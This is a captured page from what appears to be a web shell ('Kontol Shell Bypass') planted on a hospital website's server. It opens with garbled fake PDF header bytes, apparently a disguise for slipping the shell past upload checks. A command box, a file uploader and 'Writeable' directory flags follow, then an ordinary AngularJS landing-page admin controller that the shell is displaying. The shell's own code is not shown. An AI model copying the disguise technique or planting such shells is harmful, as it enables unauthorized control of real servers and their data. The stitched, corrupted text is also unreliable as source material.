%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital_old.org/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital_old.org/lms/js/landing_page.js
/** LandingPage **/
angular.module('MetronicApp').controller("LandingPage", function($scope, $http, $state, $location, $timeout, Auth){
	var CR=this;
	CR.sdata={p:1};
	
	CR.open_form=function(dtl){
		hide_form_errors($("#frm"));
		CR.dtl=dtl?dtl:{id:'', status:'1', na_utm_source_id:'0', for_mob_app:'0', def_prg_id: "0"};
		showModal($("#formModal"), true);

		$('.lpChk').find(".allChk, .chk").prop('checked', false);
	}
	
	CR.lists=function(p){
		show_loader();
		CR.sdata.p=p?p:1;
		$http({url: API_URL+'landingpage/lists', params:CR.sdata}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.result=res.result;
				CR.page=res.page;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.save=function(){
		var frm=$("#frm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'landingpage/save', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.lists(CR.dtl.id?CR.sdata.p:1);
					hideModal($("#formModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editLP=function(id){
		show_loader();
		$http({url: API_URL+'landingpage/detail/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.open_form(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteLP=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'landingpage/delete', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					var pg=CR.sdata.p;
					if(CR.page.total==1){
						pg=1;
					}
					CR.lists(pg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Programs of Landing Pages */
	CR.selectedLP={};
	CR.initLPPrograms=function(){
		//show_loader();
		App.blockUI({target: '#LPBx', boxed: true, message: 'Loading...'});
		$http({url: API_URL+'landingpage/initLPPrograms'}).success(
			function(res){
				App.unblockUI('#LPBx');
				//res=Auth.checkRes(res);
				CR.allLandingPages=res.allLandingPages;
				CR.getLPPrograms(CR.allLandingPages[0]);
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.getLPPrograms=function(obj){
		CR.selectedLP=obj; //angular.copy(obj);
		CR.searchLPPInput='';
		$.each(CR.allLandingPages, function(k, v){
			if(v.id==CR.selectedLP.id){
				CR.allLandingPages[k]['actClass']='active';
			}else{
				CR.allLandingPages[k]['actClass']='';
			}
		});
		
		//show_loader();
		App.blockUI({target: '#LPPBx', boxed: true, message: 'Loading...'});
		$http({url: API_URL+'landingpage/getLPPrograms/'+CR.selectedLP.id}).success(
			function(res){
				App.unblockUI('#LPPBx');
				//res=Auth.checkRes(res);
				CR.lpprograms=res.lpprograms;
				CR.selectedLP.noOfProg=CR.lpprograms.length;
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.openLPPForm=function(){
		CR.LPsdata={};
		showModal($("#lppformModal"), true);
		CR.listPrograms();
	}

	CR.listPrograms=function(){
		$(".chkProgTbl").find(".allChk, .chk").prop('checked', false);
		show_loader();
		$http({url: API_URL+'landingpage/listPrograms/'+CR.selectedLP.id, params:CR.LPsdata}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.programs=res.programs;
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.saveLPP=function(){
		var frm=$("#lppfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'landingpage/saveLPP', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getLPPrograms(CR.selectedLP);
					hideModal($("#lppformModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.deleteLPP=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'landingpage/deleteLPP', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getLPPrograms(CR.selectedLP);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.deleteAllLPP=function(){
		if(!confirm("Are you sure to delete all?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'landingpage/deleteAllLPP', method:'POST', data:(( {lpage_id:CR.selectedLP.id} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getLPPrograms(CR.selectedLP);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Faq of Landing Pages */
	CR.selectedLPF={};
	CR.initLPFaq=function(){
		App.blockUI({target: '#LPFBx', boxed: true, message: 'Loading...'});
		$http({url: API_URL+'landingpage/initLPFaq'}).success(
			function(res){
				App.unblockUI('#LPFBx');
				//res=Auth.checkRes(res);
				CR.allLandingPagesF=res.allLandingPages;
				CR.getLPFaqs(CR.allLandingPagesF[0]);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.getLPFaqs=function(obj){
		CR.selectedLPF=obj;
		CR.searchLPFInput='';
		$.each(CR.allLandingPagesF, function(k, v){
			if(v.id==CR.selectedLPF.id){
				CR.allLandingPagesF[k]['actClass']='active';
			}else{
				CR.allLandingPagesF[k]['actClass']='';
			}
		});
		
		App.blockUI({target: '#LPFFBx', boxed: true, message: 'Loading...'});
		$http({url: API_URL+'landingpage/getLPFaqs/'+CR.selectedLPF.id}).success(
			function(res){
				App.unblockUI('#LPFFBx');
				//res=Auth.checkRes(res);
				CR.lpfaqs=res.lpfaqs;
				CR.selectedLPF.noOfFaq=CR.lpfaqs.length;
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.openLPFForm=function(dtl){
		CR.LPFsdata={};
		showModal($("#lpfformModal"), true);
		CR.listFaqs();
	}

	CR.listFaqs=function(){
		$(".chkFaqTbl").find(".allChk, .chk").prop('checked', false);
		show_loader();
		$http({url: API_URL+'landingpage/listFaqs/'+CR.selectedLPF.id, params:CR.LPFsdata}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.faqs=res.faqs;
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.saveLPF=function(){
		var frm=$("#lpffrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'landingpage/saveLPF', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getLPFaqs(CR.selectedLPF);
					hideModal($("#lpfformModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.deleteLPF=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'landingpage/deleteLPF', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getLPFaqs(CR.selectedLPF);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.deleteAllLPF=function(){
		if(!confirm("Are you sure to delete all?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'landingpage/deleteAllLPF', method:'POST', data:(( {lpage_id:CR.selectedLPF.id} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getLPFaqs(CR.selectedLPF);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}


	/** Init **/
	CR.init=function(){
		show_loader();
		$http({url: API_URL+'landingpage/init'}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.result=res.result;
				CR.page=res.page;

				CR.programs=res.programs;
				CR.programTypes=res.programTypes;
				CR.academicCareers=res.academicCareers;
				CR.disciplines=res.disciplines;
				CR.schools=res.schools;
				CR.coupans=res.coupans;
				CR.faqCats=res.faqCats;
				CR.utmSources=res.utmSources;
			}
		).error(function(res){showHttpErr(res);});
	}
	CR.init();
});


//EOF

Kontol Shell Bypass